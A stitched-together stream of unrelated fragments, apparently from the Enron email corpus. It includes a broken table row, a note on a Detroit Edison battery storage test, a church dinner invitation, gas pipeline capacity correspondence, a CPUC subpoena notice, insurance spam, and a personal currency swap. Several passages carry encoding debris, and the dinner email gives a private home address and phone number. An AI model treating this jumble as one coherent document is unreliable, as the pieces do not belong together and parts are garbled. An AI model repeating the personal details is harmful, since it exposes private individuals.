																									| Total? |? 2502?  ?| 2648 |-146? |? 76%? ?| 3001  |? 91%? ?
																									
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																														Battery Storage System to be Tested
																														
																														?  ? Detroit Edison is working with the DOE and Sandia National  Laboratory 
to test a prototype for a transportable Advanced Battery  Energy Storage 
System. The device has the potential to improve  reliability for customers 
and meet increasing demand for  high-quality, low-cost electricity. Detroit 
Edison will provide the  electric utility distribution circuit to test the 
ABESS as a load  leveling and power quality device.? In operation, the 
battery  system will be discharged during the day and charged at night.?  
																														
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																																	Financial Summary
																																	
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I usually use more bananas than that recipe calls for; also, no fruit
liquor.  Usually turns out well.  Is this approach OK or do you love the
standard?

Ray
To: <rayberyl.mack@worldnet.att.net>
Sent: Friday, May 11, 2001 9:11 AM
Subject: Re: May 19 Church Gourmet Cajun Dinner

>
> L:ovely choice!
>
>
>
>                     "Ray & Beryl Mack"
>                     <rayberyl.mack@worldne        To:
<Tana.Jones@enron.com>
>                     t.att.net>                    cc:
>                                                   Subject:     Re: May 19
Church Gourmet Cajun Dinner
>                     05/10/2001 09:32 PM
>
>
>
>
>
>
> Looking forward to being with the party.  I will make Banna's Foster.
>
> Ray Mack
> From: <Tana.Jones@enron.com>
> To: <cttng@pdq.net>; <Alicia.Goodrow@enron.com>; <henryg@shellus.com>;
> <ah692217@bcm.tmc.edu>; <rayberyl.mack@worldnet.att.net>
> Sent: Wednesday, May 09, 2001 6:31 PM
> Subject: May 19 Church Gourmet Cajun Dinner
>
>
> > I look forward to having you all as guests for an evening of Cajun
> cooking
> > at my home on Saturday, May 19 at 7:00 pm.  Some of us (I won't name
> > names!) are hoping we might even have enough time to play a wicked game
> of
> > African Uno!
> >
> > Below is the list of the individuals attending the dinner at my home,
and
> > attached below are the recipes for the evening.  I will provide beer,
> wine
> > and soft drinks.  In addition, I will make a big pot of white rice to go
> > with the Red Beans & Rice, & Shrimp Etouffe.
> >
> > Please let me know as soon as possible which recipe you would prefer to
> > prepare.
> >
> > Laura Johnson (1)
> > Charles and Janice Thompson (2)
> > John Hagood (1)
> > Ann Hutson (1)
> > Henry and Alicia Goodrow (2)
> > Beryl and Ray Mack (2)
> > Tana Jones (1)
> >
> > The directions to my house are as follows:
> >
> > 1.  Take 59 to the Greenbriar exit (like you are going to Church)
> > 2.  Make a right on Greenbriar
> > 3.  Quickly get into the left lane because you will have to make the
> first
> > left possible onto a street called Milford
> > 4.  Then, make a left onto Shepherd (you need to go back one street in
> the
> > opposite direction)
> > 5.  The first right will be Banks Street (it is the street right next to
> > the 59 freeway)
> > 6.  On Banks, go past the first stop sign, I will be the 3 or 4th house
> on
> > the left, a taupe colored, ivy covered cottage, 1920 Banks
> > 7.  My phone number is (713) 529-1038
> >
> > (See attached file: Church Gourmet 51901.doc)
> >
> >
>
>
>
>

Lets talk tomorrow about the whole basket of TW issues, including this one.  
thanks. df
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 03/20/2001 
10:30 PM ---------------------------
From: Jeffery Fawcett/ENRON@enronxgate on 03/20/2001 04:48 PM
To: Lorraine Lindberg/Enron@enronXgate, Steven Harris/ET&S/Enron@ENRON, Kevin 
Hyatt/ENRON@enronxgate, Susan Scott/ENRON@enronXgate, Drew 
Fossum/ET&S/Enron@ENRON, Mary Kay Miller/ET&S/Enron@ENRON
cc:  

Subject: U.S. Gypsum request for capacity

I fielded a call today from Mr. Rob Cooper of U.S. Gypsum.  Mr. Cooper 
indicated that he's been in contact with Lorraine for purposes of acquiring 
Red Rock expansion capacity.  Moreover, Mr. Cooper has been in contact with 
SoCal Gas in order that SoCal Gas recognize firm deliveries from Transwestern 
at Needles in excess of the current (sustainable) limit of 750 MMcf/d. 

Mr. Cooper insists that he is making progress with SoCal Gas aimed at lifting 
the 750 window to 760, and that SoCal Gas has indicated U.S. Gypsum would be 
entitled to an exclusive right to the increased amount.   While trying not to 
be argumentative, I told Mr. Cooper that if SoCal Gas was willing to set 
aside a discrete increment of capacity for a single shipper, it would be a 
radical departure from current SoCal Gas policy.  Currently, SoCal Gas does 
not provide unbundled intrastate transmission.  They have only accepted or 
not accepted pipeline nominations, as the case may be, as an aggregate 
volume, with no distinction being drawn on who the upstream shippers were.

I set about to try to explain that there is no correlation (other than 
coincidental timing) between (1) TW discussions with SoCal Gas at raising the 
capacity window at Needles and (2) TW's effort to sell Red Rock Expansion 
space.  In addition, I attempted to explain that TW feels it will be required 
to follow certain rules pursuant to its tariff and FERC policy associated 
with making new delivery point capacity available on a non-discriminatory 
basis.  With respect to this issue, I told Mr. Cooper that, although we're 
currently discussing it, we'd yet to come to any decision on how, if 
incremental capacity does become available at Needles, TW would make such 
delivery point capacity available to its shippers.  

Mr. Cooper then proceeded to launch into a diatribe about how, if that's the 
case, then "he's wasted 3 weeks in active negotiations" with both SoCal Gas 
and TW aimed at securing capacity at Needles.  He said on several occasions 
that "end game" for him was to secure a firm portal from the interstate 
system onto and through the SoCal Gas system.  Mr. Cooper also expressed a 
concern that if he's forced into a competitive bidding situation with other 
big marketing companies (in his words, "such as ENA") for Needles capacity, 
then he probably couldn't compete, and once again, would be left on the 
outside looking in.  He pointed to the El Paso Merchant deal on EPNG as a 
prime example.  

Mr. Cooper said he wasn't ready to accept my explanation as to why TW 
couldn't commit to offering U.S. Gypsum an exclusive right to any incremental 
Needles capacity, and asked that I formally "run it up the flagpole" to 
senior management and get back with him by telephone with TW's "official 
position."   As an editorial comment, I'm not sure Mr. Cooper completely 
understands (or cares about) the landscape here.  I'd go so far as to say 
that from his style and the tone of his conversation with me, he won't easily 
take "no" or even a "maybe" as an answer.   The difficulty for TW is going to 
be in trying to persuade him that we're interested in his business and 
sympathize with his position, but that we face real legal and/or regulatory 
issues here, and they cannot be dismissed or ignored by U.S. Gypsum or any 
other customer.

I'd like to be in a position to call him back on Friday and give him TW's 
"official position" on his request for Needles service in the Red Rock 
expansion.  Thoughts?  Suggestions?  Help?

The attached comments, opposing reimposition of the price caps, were filed 
late today.  

** Sent for Sandi Thompson**

To All California Power Exchange Participants:

Notice is hereby provided pursuant to Section 19.3.4 of the California Power
Exchange Tariff that the California Public Utilities Commission (CPUC), as 
part
of an ongoing investigation of California markets, has requested information
that may be confidential under Section 19.3.2 of the Tariff.  The CPUC has
requested the California Power Exchange to provide such information no later
than Wednesday, October 4, 2000.  If you desire to assert a claim of privilege
or confidentiality pursuant to legal authority, the California Power Exchange
will include your written assertion of that claim together with its submittal 
to
the CPUC, provided that it is timely received.  Your written statement should 
be
directed to the CPUC as follows:

     Sean H. Gallagher
     California Public Utilities Commission
     505 Van Ness Avenue
     San Francisco, CA  94102

You may deliver your statement to the California Power Exchange as follows:

     Karen Koyano
     California Power Exchange
     1000 S. Fremont Avenue
     Unit 20
     Alhambra, CA  91801
     626.537.3173 facsimile

Any written statement must be received by Ms. Koyano no later than Friday,
September 29, 2000, 5:00 p.m. PDT, to be included with any information 
delivered
to the CPUC.  You are also free to take any other legal action you may deem
appropriate in the circumstances of this investigation.  A copy of the 
subpoena
is attached for your reference.

Thank you.

(See attached file: CPUC subpeona #2 9-20-00.doc)

 - CPUC subpeona #2 9-20-00.doc

For those of you who have been trying to access the PEP System, this morning 
or today, stop trying.  There are still problems with the system and it is 
unlikely that you will be bale to get in or submit your reviewers 
successfully.

INSTEAD, please submit your list of reviewers to Brenda via e-mail.  She will 
make any changes necessary and forward them on to the PEP Helpdesk.  They 
will then be responsible for entering your reviewers manually.

If you have any questions, please call.

Thanx!
Yvette
x3.5953
---------------------- Forwarded by Yvette G Connevey/Corp/Enron on 
05/18/2000 02:27 PM ---------------------------
   
	From:  Brenda F Herod @ ECT                           05/15/2000 12:41 PM
	
To: Eric Bass/HOU/ECT@ECT, Michael Walters/HOU/ECT@ECT, David 
Baumbach/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, 
Yvette G Connevey/Corp/Enron@ENRON, Lisa Csikos/HOU/ECT@ECT, Daren J 
Farmer/HOU/ECT@ECT, Mary M Smith/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT, Steve 
Venturatos/HOU/ECT@ECT, Pat Clynes/Corp/Enron@ENRON, Michael Eiben/HOU/ECT@ECT
cc:  

Subject: Performance Review - Mid-Year

It's that time of the year again - just earlier this year than last year!!!  
Please log into the PEP system, when it becomes available, and select at 
least five feedback reviewers.  The feedback is intended to reflect 
interraction throughout the organization.  For leads and managers and 
directors, please make sure you include at least one direct report.  The 
reviewers you select should be employees whom you have worked with frequently 
since 1/1/00 and whom can provide constructive feedback as to your 
performance.  Nothing prevents you from selecting more than 5 reviewers.  I 
will review them, and if I feel there are others whom should be added, I will 
do so.  ASSUMING the system becomes available soon, please complete your 
selection process by COB, Tuesday, 5/16/00.  I want to approve these ASAP, so 
we can get our request out early.  Turn around is critical.

The next thing I will need is a listing of your accomplishments for 2000.  I 
would like these by E-Mail by Monday, June 5, 10:00am.  Once again, the 
timeline is critical to the process, and is not negotiable.

Although we have reorganized the Risk group effective 5/1/00, I will still 
perform the performance reviews.  Mike, Steve will be responsible for your 
review. 

Let me know if you hav any questions or concerns.  Thanks for supporting the 
process and the timeline! 

                   Term Quotes    Life Insurance Companies               =
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ar Level Premium Term Rates *  Age $250,000 $500,000 $1,000,000 35 $115 $17=
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 Submit This Form for a Free Term Insurance Quote!  Name Insured:   Amount =
of Coverage:   $250,000$300,000$400,000$500,000$600,000$700,000$800,000$900=
,000$1,000,000 Date of Birth: Month 010203040506070809101112  Day 010203040=
50607080910111213141516171819202122232425262728293031Year  Sex:  Male Femal=
e  Height:  FTin  Weight:  lbs. Occupation:   xxx Have You Ever Had: High B=
lood Pressure  Yes No  Heart Attack or Stroke  Yes No  Cancer  Yes No  Diab=
etes  Yes No  Mother, Father, Sister, Brother Diagnosed or Died of Cancer o=
r Cardiovascular Disease Before Age 60  Yes No  Have You  Smoked Within the=
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  City:  State Zip  Daytime Phone:   Evening Phone:    Email Address:    Be=
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 it may start your spell check, so please click "Ignore" if it does. =09=09=
=09

YOUR INTERNET ADVERTISING Copyright?FFFFA92000-2001 . All Rights Reserved=
=09
 This could be your ad!  =09
  Email Us  with your name and a good phone number to reach you. =09
 If you think, that you will not benefit from this correspondence, please c=
lick here. =09

Julia:  Could I please have a copy of the executed swap confirm?   Thanks 
(especially for all of your help).  Sara

Thanks for the heads up.  

	From:  David Maxwell                           12/11/2000 11:05 AM
	
To: Sally Beck/HOU/ECT@ECT, Shona Wilson/NA/Enron@Enron, Andrea V 
Reed/HOU/ECT@ECT, Brian Redmond/HOU/ECT@ECT, Jeff Donahue/HOU/ECT@ECT, 
L'Sheryl Hudson/HOU/ECT@ECT, Gordon McKillop/NA/Enron@ENRON
cc: Michael S Galvan/HOU/ECT@ECT, Ted Murphy/HOU/ECT@ECT, David Port/Market 
Risk/Corp/Enron@ENRON 
Subject: Catalytica Write-down

----- Forwarded by Jeff Dasovich/NA/Enron on 05/18/2001 05:35 PM -----

	"Julia Wright" <jwright@s-k-w.com>
	05/17/2001 02:51 PM
		 
		 To: "Marilyn Hawes" <marilyn@ceert.org>, "Kelly Boyd" 
<kelly.boyd@asm.ca.gov>, "Karen Edson (E-mail)" <kedson@ns.net>, "Julee 
Malinowski-Ball (E-mail)" <jmball@ns.net>, "Joseph Alamo" <jalamo@enron.com>, 
"John White (E-mail)" <vjw@cleanpower.org>, "John Rozsa (E-mail)" 
<john.rozsa@sen.ca.gov>, "John Redding" <john.redding@gene.ge.com>, "John 
Larrea (E-mail)" <john.g.larrea@williams.com>, "John Fistolera" 
<johnf@ncpa.com>, "John Fielder (E-mail)" <moravekj@sce.com>, "John Fielder 
(E-mail 2)" <fieldejr@sce.com>, "John Bridges (E-mail)" 
<bridgesj@epenergy.com>, "Joe Ronan" <joer@calpine.com>, "Joe Lyons (E-mail)" 
<joseph.lyons@asm.ca.gov>, "Jim Groninger (E-mail)" <gronijn@texaco.com>, 
"Jerry Jordan (E-mail)" <jordan@cmua.org>, "Jeff Dasovich (E-mail)" 
<jdasovic@enron.com>, "Jeannie Cain (E-mail)" <jeanne.cain@calchamber.com>, 
"Jan Smutny-Jones (E-mail)" <smutny@iepa.com>, "James D. Boyd (E-mail)" 
<jim@resources.ca.gov>, "Jack Stewart (E-mail)" <jstewart@cmta.net>, "Jack 
Gualco" <jackson_gualco@gualcogroup.com>, "Jack Flanigan (E-mail)" 
<jackflanigan@flaniganlaw.com>, "Greg Hardy (E-mail)" <hardygl@texaco.com>, 
"Grace Davis" <grace.i.davis@intel.com>, "Gordon McDonald" 
<gordon.mcdonald@pacificorp.com>, "Gary Schoonyan" <schoongl@sce.com>, "Gary 
Heath (E-mail)" <gheath@eob.ca.gov>, "Evelyn Elsesser (E-mail)" 
<eke@aelaw.com>, "Eloy Garcia (E-mail)" <egarcia@ka-pow.com>, "Ed Yates 
(E-mail)" <ed@clfp.com>, "Doug Fernley" <fernley.doug@epenergy.com>, "Dorothy 
Rothrock (E-mail)" <drothrock@cmta.net>, "Dominic DiMare" 
<dominic.dimare@calchamber.com>, "Derek Naten" <derek.naten@roche.com>, 
"Denny Samuel (E-mail)" <dsam@chevron.com>, "Dennis Price (E-mail)" 
<priced@epenergy.com>, "Denice Cazalet" <dcazalet@apx.com>, "Delbert Fore 
(E-mail)" <fore.delbert@epenergy.com>, "Delaney Hunter (E-mail)" 
<dhunter@smithandkempton.com>, "Dan Carroll (E-mail)" <dcarroll@dbsr.com>, 
"Craig Brown (E-mail)" <brownc2@epenergy.com>, "Cindy Howell" 
<chowell@sempra.com>, "Charles Bacchi" <charles.bacchi@asm.ca.gov>, 
"Catherine Hackney (E-mail)" <hacknece@sce.com>, "Carolyn McIntyre (E-mail)" 
<cmcintyre@sempra.com>, "Brian Kelly (E-mail)" <brian.kelly@sen.ca.gov>, "Bob 
Houston (E-mail)" <houstgrp@pacbell.net>, "Bob Foster (E-mail)" 
<fosterrg@sce.com>, "Bill Keese (E-mail)" <wkeese@energy.state.ca.us>, "Bill 
Dombrowski (E-mail)" <cra@calretailers.com>, "Bill Booth (E-mail)" 
<wbooth@booth-law.com>, "Becky Kilbourne (E-mail)" <bakilbourne@calpx.com>, 
"Barbara Barkovich (E-mail)" <brbarkovich@earthlink.net>, "Audra Hartmann 
(E-mail)" <ath@cpuc.ca.gov>, "Art Carter (E-mail)" <debinorton@aol.com>, 
"Anna Ferrera (E-mail)" <anna.ferrera@sen.ca.gov>, "Ann Cohn (E-mail)" 
<cohnap@sce.com>, "Allan Lippincott (E-mail)" <alippin@mail.arco.com>, "Aaron 
Thomas (E-mail)" <athomas@newenergy.com>
		 cc: "Karen Jarrell (E-mail)" <kjarrell@smurfit.com>, "Karen Koyano" 
<kykoyano@calpx.com>, "Karen Lindh" <karen@klindh.com>, "Karen Mills 
(E-mail)" <kmills@cfbf.com>, "Kari Harteloo" <klc@aelaw.com>, "Kassandra 
Gough (E-mail)" <kgough@calpine.com>, "Kathy Brandenburg" 
<katherinebrandenburg@flaniganlaw.com>, "Katie Kaplan" <kaplan@iepa.com>, 
"Kay Grosulak" <kgrosulak@sppc.com>, "Keith McCrea (E-mail)" 
<kmccrea@sablaw.com>, "Kent G. Smith (E-mail)" <ksmith@energy.state.ca.us>, 
"Kent Palmerton" <kent.palmerton@williams.com>, "Kevin Lynch (E-mail 2)" 
<diane.glenn@pacificorp.com>, "Kevin Lynch (E-mail)" 
<kevin.lynch@pacificorp.com>, "Kevin Smith (E-mail)" <kevins@ncpa.com>, "Kip 
Lipper (E-mail)" <kip.lipper@sen.ca.gov>, "Lawrence Lingbloom (E-mail)" 
<mdjoseph@adamsbroadwell.com>, "Mark Smith" <mark_j_smith@fpl.com>, "Marwan 
Masri (E-mail)" <mmasri@energy.state.ca.us>, "Michael Alcantar (E-mail)" 
<mpa@aelaw.com>, "Michael Florio (E-mail)" <mflorio@turn.org>, "Mike Kahl 
(E-mail)" <mikahl@ka-pow.com>, "Mona Petrochko" <mpetroch@enron.com>, "Pete 
Conaty (E-mail)" <pcaceo@pacbell.net>, "Peter Bray (E-mail)" 
<pbray@newpower.com>, "Phil Nails (E-mail)" <phil.nails@asm.ca.gov>, "Phil 
Stohr (E-mail)" <pstohr@dbsr.com>, "Ralph Cavanagh (E-mail)" 
<rcavanagh@nrdc.org>, "Randy Chinn" <randy.chinn@sen.ca.gov>, "Ray Thompson 
(E-mail)" <ray.thompson@sen.ca.gov>, "Richard Costigan III ESQ. (E-mail)" 
<richard.costigan@asm.ca.gov>, "Richard Counihan (E-mail)" 
<counihan@greenmountain.com>, "Richard Mesereau (E-mail)" 
<Richard.mesereau@imc.asm.ca.gov>, "Robert Berry" <berry@apx.com>, "Robin 
Larson (E-mail)" <rlarson@calso.com>, "Scott Tomashefsky (E-mail)" 
<stomashe@energy.state.ca.us>, "Sheryl Carter (E-mail)" <scarter@nrdc.org>, 
"Steve Ponder (E-mail)" <steve_ponder@fpl.com>, "Steven M. Pike (E-mail)" 
<pikes@epenergy.com>, "Stu Wilson (E-mail)" <swilson@cmua.org>, "Sue Mara 
(E-mail)" <smara@enron.com>, "Susan Reeder" <sreeder@sppc.com>, "Terry Winter 
(E-mail)" <twinter@calso.com>, "Tim Schmelzer" <tschmelz@energy.state.ca.us>, 
"Tommy Ross (E-mail)" <rosst@sce.com>, "Tony Braun" <braun@cmua.org>, 
"Victoria Schaefer" <schaefvl@sce.com>
		 Subject: FW: Chairman Keese's presentation

The attached presentation is for today's CESG meeting.

 - CEC Presentation without NOTES.ppt

eSource presents free Lexis-Nexis training
Meet Lexis-Nexis trainers and 
Learn to research basic information 
in a hands-on Topical Session:

February 1  8:30-10:00 AM  EB568
    & 
    10:00-11:30 AM EB568

To sign up, please call Stephanie E. Taylor at 5-7928

* Please bring your Nexis login ID and password. If you don't have one, a 
guest ID will be provided.

How about 1.5460 as the rate.  I'll just send you a cheque for USD$20,000 and you can mail me the appropriate amount back.(Laura Scott agreed to do the amount that I wanted to swap with her).  Where should I send the cheque?

From: 	"Jeffrey R. Pearson" <Jeffrey.R.Pearson@Dartmouth.EDU>@ENRON [mailto:IMCEANOTES-+22Jeffrey+20R+2E+20Pearson+22+20+3CJeffrey+2ER+2EPearson+40Dartmouth+2EEDU+3E+40ENRON@ENRON.com] 
Sent:	Wednesday, August 29, 2001 9:30 PM
To:	Mckay, Jonathan
Subject:	RE: Currency

I would love to do closer to 15000, but 10 will definately work.  I have
about 14000 in tuition bills due in several weeks, and need to definately
convert some money.  Why don't you choose a rate, and e-mail me the rate and
your address (work is probably best, although I don't believe I have any
cards here and will need the address again!).  I will rush you a check,
which you can cash and then rush me back a check.

I really appreciate your help, and will hopefully talk to you soon (we will
have to talk one of these afternoons, as I am generally around and have no
classes!).

From: Mckay, Jonathan [mailto:Jonathan.McKay@enron.com]
Sent: Wednesday, August 29, 2001 4:40 PM
To: Jeffrey.R.Pearson@Dartmouth.EDU
Subject: RE: Currency

How's about US$10,000 to get started or do you need US$20,000 right
away?  I'm not sure Enron is going to do the trade with me but I would
be glad to help you out.  Do you just want to mail cheques to each other
or do something else?  If Enron does the currency trade that I want to
do, I'd be happy to do what every volume you need.

Let me know what you want to do.

Jon

> From: 	"Jeffrey R. Pearson"
> <Jeffrey.R.Pearson@Dartmouth.EDU>@ENRON
> [mailto:IMCEANOTES-+22Jeffrey+20R+2E+20Pearson+22+20+3CJeffrey+2ER+2EP
> earson+40Dartmouth+2EEDU+3E+40ENRON@ENRON.com]
> Sent:	Wednesday, August 29, 2001 8:28 AM
> To:	Mckay, Jonathan
> Subject:	Currency
>
> Jon, I am unsure if you got my message the other day, but I am looking
> at
> doing around 20000 US worth of currency.  The bank last week was
> charging me
> a couple of hundred points, so anything less would be appreciated.  I
> would
> like to hold off longer, but my first tuition bill is due Sept 10, so
> I need
> the money by then.
>
> If you can't help, I will probably try and cut a deal with my bank or
> a new
> bank down here.
>
> Thanks!
>
> Jeff
>

Thank you.

Steve,

Welcome back. Let's have coffee ASAP and review all the projects under way.

Vince

From: Stephen Stock/ENRON@enronXgate on 03/01/2001 09:40 AM
cc:  
Subject: Status

Hi Vince,

Winston is telling me that he has started a serious of presentations to 
certain members of your group to help everyone better understand the various 
components that have been documented.

How is that going from your perspective?......are your people getting 
anything out of it?

Also, the VaR documentation was completed last week, and I've just asked for 
a full printed copy of it to be created mand given to your department.

I've just engaged a small team to document the Credit Reserve model as a 
final piece and then we are done with the core documentation.

regards

Steve

In October of this year, we asked you to participate in the =01&Pulse=018 s=
urvey. =20
Over 70% of you were willing to take the time to respond.  Thank you!  This=
=20
is our highest response to an all Enron employee survey - ever. =20

In exchange for your candid feedback, we want to provide you with an overvi=
ew=20
of the results for our company.

We realize that you and your management have been working hard to build on=
=20
our strengths and improve in areas of concern for us.  The results reflect=
=20
your substantial efforts.

As you can see from the chart below, thanks to the increased focus on these=
=20
issues provided by the Vision & Values Task Force and your efforts to impro=
ve=20
communications, we have made significant progress. =20

Question=091999 % Positive=092000 % Positive
Employees are encouraged to challenge the status quo=0942%=0947%
Decisions are communicated well=0941%=0950%
Employees feel free to voice opinions openly=0946%=0955%
Enron does a good job of acting on suggestions of employees=0945%=0952%
Communication across departmental lines is good=0930%=0934%

Congratulations on your fine efforts.  Improvements in communications acros=
s=20
the company should enable better performance from all of us.  However, as y=
ou=20
know, our goal is to have 60% positive in most of these areas by 2001.  So=
=20
our work is not over and these will continue to be areas of attention.=20
(Complete survey results are attached for your review.)
=20
We are also pleased to report that employees across Enron expressed=20
satisfaction in the following areas:
=20
Employee benefits =01) 82%=20
Supervisors/managers deal fairly with people =01) 76%
Supervisors/managers encourage teamwork =01) 73%
People are treated with respect and dignity =01) 73%
Information from top management is credible =01) 74%
People would recommend Enron as a good place to work =01) 72%
The workload is reasonable =01) 67%
People are committed to Enron as more than just a place to work =01) 65%

All of these areas improved between one and five percentage points since th=
e=20
previous survey.  In fact, we improved in almost every area measured by the=
=20
core survey questions.

Click on the URL below to view the three pages of survey results.
http://home.enron.com:84/messaging/pulseresults.ppt

So sorry for not getting back to you sooner - it seems I've acquired two new 
jobs in addition to the full time schedule I already kept. But tonight still 
works for me - just let me know when and where.

Kate

John Enders <jenders@ap.org> on 04/25/2001 10:28:41 AM
To: Kate.Symes@enron.com
cc:  

Subject: Re: a beer

Are we on, or off?

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 03/13/2000 
05:33 PM ---------------------------
   
	From:  William Kelly                           03/13/2000 01:43 PM
	
To: Phillip K Allen/HOU/ECT@ECT, Steve Jackson/HOU/ECT@ECT
cc:  
Subject: 

We have room EB3014 from 3 - 4 pm on Wednesday.

WK

Walt:
 
Attached is a copy of the TX label that has been prepared for small customers.  For suppliers purchasing off of spot, the actual numbers to calculate the label and emissions will not be out until January.  However if a company is making an "environmental claim" (I'll deliver you 100% wind), the company projects the fuel/emission mix they will deliver to the customer over a year period.  See attached Green Mountain label as an example. <https://www.greenmountain.com/gmec/tx/tx_efl.jsp>
 
As we discussed if TI is looking to differentiate their fuel mix, I know that Elliot and Richard will be able to help you from the REC commodity end.  They will not be able to offset their NOx limits under the SIP by purchasing renewables.  They will have to purchase ERCs or allowances from other companies that have overcontrolled or install control technology.  I took a look at their Environmental statement, and they have an internal pledge to reduce energy consumption by 15% for their facilities.  They highlight the emissions reductions from the conservation and detail their fuel mix (page 15).  <http://www.ti.com/corp/docs/company/citizen/esh/english.pdf>
I'd let TI know that we can provide their fuel mix and emissions as well as offsetting their system purchase with RECs.
 
The TX labeling rules are as follows:
 
1. Disclosure labels with fuel mix, emissions data and average price are required to be submitted to residential and small commercial customers.  Labels are submitted to customers 2 times per year and an annual report substantiating the purchases and sales is required to be submitted to the PUC.
2. To calculate the label or label(s), the supplier weights the percentage of power coming from system contracts/bilaterals/spot and renewable energy credits.  The PUC has provided the fuel and emissions data from each generating company in TX along with the emissions on their website.  <http://www.puc.state.tx.us/rules/rulemake/22816/050301lableworkbook.xls> They will provide the default system mix for spot purchases by year's end. 
3. Each supplier will have a percentage obligation to purchase renewable energy credits (representing the "attributes" of 1 MWh of renewable energy dispatched onto the grid) and will note this on the label.  EES cannot "market" their obligation as a renewable product so you can't sell a product for a premium representing your entire renewable mandate to customers.  
 
I'm glad to answer any further questions.  
 
Regards,
Stacey Bolton
Environmental Strategies
Enron Corp
713-853-9916 direct 
713-303-2632 cell 
sbolton@enron.com <mailto:sbolton@enron.com>
 
Thought you'd like to hear from her too...

>From: Tonje Holter <Tonje.Holter@stud.jbi.hio.no>
>To: Crystal Burreson <cburreson@hotmail.com>
>Subject: Re: From Crystal
>Date: Thu, 01 Nov 2001 08:29:11 +0100
>
>Dearest Crystal!
>Ok, Im a fool... but I almost started crying when I read about THE
>wedding... and the celebration!!!! Im so touched... I just think it is a
>wonderful thing that you two are getting married!! It is wonderful!! And
>I would really really like to come and celebrate with you!! You are my
>first friends getting married and I have never been to the states, so...
>It would be wonderful to come!!! Ok, in this email, everything is
>wondeful... My english is so bad that I dont manage to come up with
>anything else... Or maybe it it because Im under a pile of books? My
>exams are too close and Im tired of studying!! I have one exam in media
>science(?), one in language, grammar bla bla bla... and one in russian
>history. I really look forward to christmas.... So to your question, Im
>in Oslo, not in the north- I returned in June... But as you say, it is
>too long since last time we emailed!
>I thought though that i had written to you right after the 11th og
>september, I was kind of worried... although you are far away from New
>York. But maybe the email just got lost in the Atlantic?
>I would really like to go on writing and writing, I have a million of
>questions and millions of things I want to tell, but I have promised my
>radioprofessor to help teaching the first-year students how to use the
>radioequipment, so I have to run!!
>Before I go: I would be glad to help you in your businessproject, send
>me everything and Ill see what I can do! It sounds a good idea and I ma
>happy you and Geir are planning to come here!!!
>Hugs and hugs!!
> > _________________________________________________________________
> > Get your FREE download of MSN Explorer at
>http://explorer.msn.com/intl.asp

Tana, I never heard back about the status of the last swap update I did.  Any 
information on the status of the problems.
----- Forwarded by Brenda Whitehead/HOU/ECT on 07/25/2000 02:59 PM -----

	07/25/2000 03:00 PM
		
		 To: Brenda Whitehead/HOU/ECT@ECT
		 cc: 
		 Subject: Re: Master Swap Update

Do you have an updated listing of Master Swaps that you can forward to us?
Thanks
Peggy

Brenda Whitehead
05/01/2000 02:50 PM
To: Phillip K Allen/HOU/ECT@ECT, Alan Aronowitz/HOU/ECT@ECT, Harry 
Arora/HOU/ECT@ECT, Michael C Bilberry/HOU/ECT@ECT, Donald M- ECT Origination 
Black/HOU/ECT@ECT, David J Botchlett/HOU/ECT@ECT, Bob Bowen/HOU/ECT@ECT, 
Nella Cappelletto/CAL/ECT@ECT, Janet R Dietrich/HOU/ECT@ECT, Mark 
Friedman/HOU/ECT@ECT, Amita Gosalia/LON/ECT@ECT, Barbara N Gray/HOU/ECT@ECT, 
Mark E Haedicke/HOU/ECT@ECT, Julia Murray/HOU/ECT@ECT, Gary 
Hickerson/HOU/ECT@ECT, James E Keller/HOU/EES@EES, Kyle Kitagawa/CAL/ECT@ECT, 
Matthias Lee/SIN/ECT@ECT, Drew C Lynch/HOU/ECT@ECT, Jonathon McKay/CAL/ECT, 
Tammy L Mulrooney/HOU/ECT@ECT, Edward Ondarza/HOU/ECT@ECT, Beth 
Perlman/HOU/ECT@ECT, Angeline Poon/SIN/ECT@ECT, Dianne Seib/CAL/ECT@ECT, 
Kevin Sweeney/HOU/ECT@ECT, Greg Whalley/HOU/ECT@ECT, Peggy 
Hedstrom/CAL/ECT@ECT, Connie Sutton/HOU/ECT@ECT
cc:  
Subject: Master Swap Update

see this attachment:  

----- Forwarded by Sandra McCubbin/NA/Enron on 03/02/2001 11:56 AM -----

	Scott Govenar <sgovenar@govadv.com>
	03/01/2001 05:17 PM
		 
		 To: Karen Denne <kdenne@enron.com>
		 cc: Sandra McCubbin <Sandra.McCubbin@enron.com>
		 Subject: [Fwd: Direct Access Coalition Media Plan]

Karen,

I just wanted you to be aware of Edelman's activities on direct access.

Scott

This Week

Next Week

>

Thank you.

>
>

Terry, Christine is fine with m.
Let"s discuss in the morning.
Thanks, Lynn

From: Kowalke, Terry <Terry.Kowalke@ENRON.com>
To: Blair, Lynn <Lynn.Blair@ENRON.com>
Sent: Thu Oct 25 10:08:54 2001
Subject: TW Accounting Testing Project 

Lynn,

I was ask to make a selection between Amy and Christine to do testing for the  new accounting project. Which will take up to 50% of their time away from the team. My recommendation to you and Rick Dietz was Christine McEvoy to be the selected individual to test on this project. If you have any concerns on this matter please let me know. Thank you. 

One more thing, could we mention this in the next team leader meeting for all the individuals involved in this testing.

Terry Kowalke

Here's the name of our contact for Lotus Notes.  SS
----- Forwarded by Sara Shackleton/HOU/ECT on 07/24/2000 02:46 PM -----

	Madhur Dayal
	07/21/2000 03:57 PM
		 
		 cc: 
		 Subject: Our Documentation Contact

---------------------- Forwarded by Madhur Dayal/HOU/ECT on 07/21/2000 04:43 

"Lisa O'Connor" <lisa@imarkets.com> on 07/10/2000 12:58:25 PM
To: "Madhur Dayal" <madhur.dayal@enron.com>
cc:  
Subject: Our Documentation Contact

Dear Madhur,

I just want to forward to you the name and number of our documentation
contact.   Mike Minnich is our director of operations and he can be reached
at 415-369-5016.  He is handling all questions/negotiations on the user
agreements.   Please feel free to forward this on to your legal department.
Thanks again and please let me know if anyone else would be interested in
seeing the demo and I'll set them up with a username and password.

Regards,

Lisa O'Connor

Lisa Mears O'Connor, CFA
BuySide Direct LLC
a subsidiary of Intelligent Markets, Inc.
415-369-5020 Phone
415-369-5021 Fax

I have some tickets available for the soccer game and fireworks, TONIGHT at 7:00 PM!  Please let me know if you are interested.

Mollie Gustafson
ext. 3817

<Embedded Microsoft Clip Gallery>

?????

From: Howard, Kevin A. 
Sent: Tuesday, November 06, 2001 9:01 AM
Subject: RE: Transwestern Fair Value

Banks want to exclude goodwill. How would you explain the difference between the two?

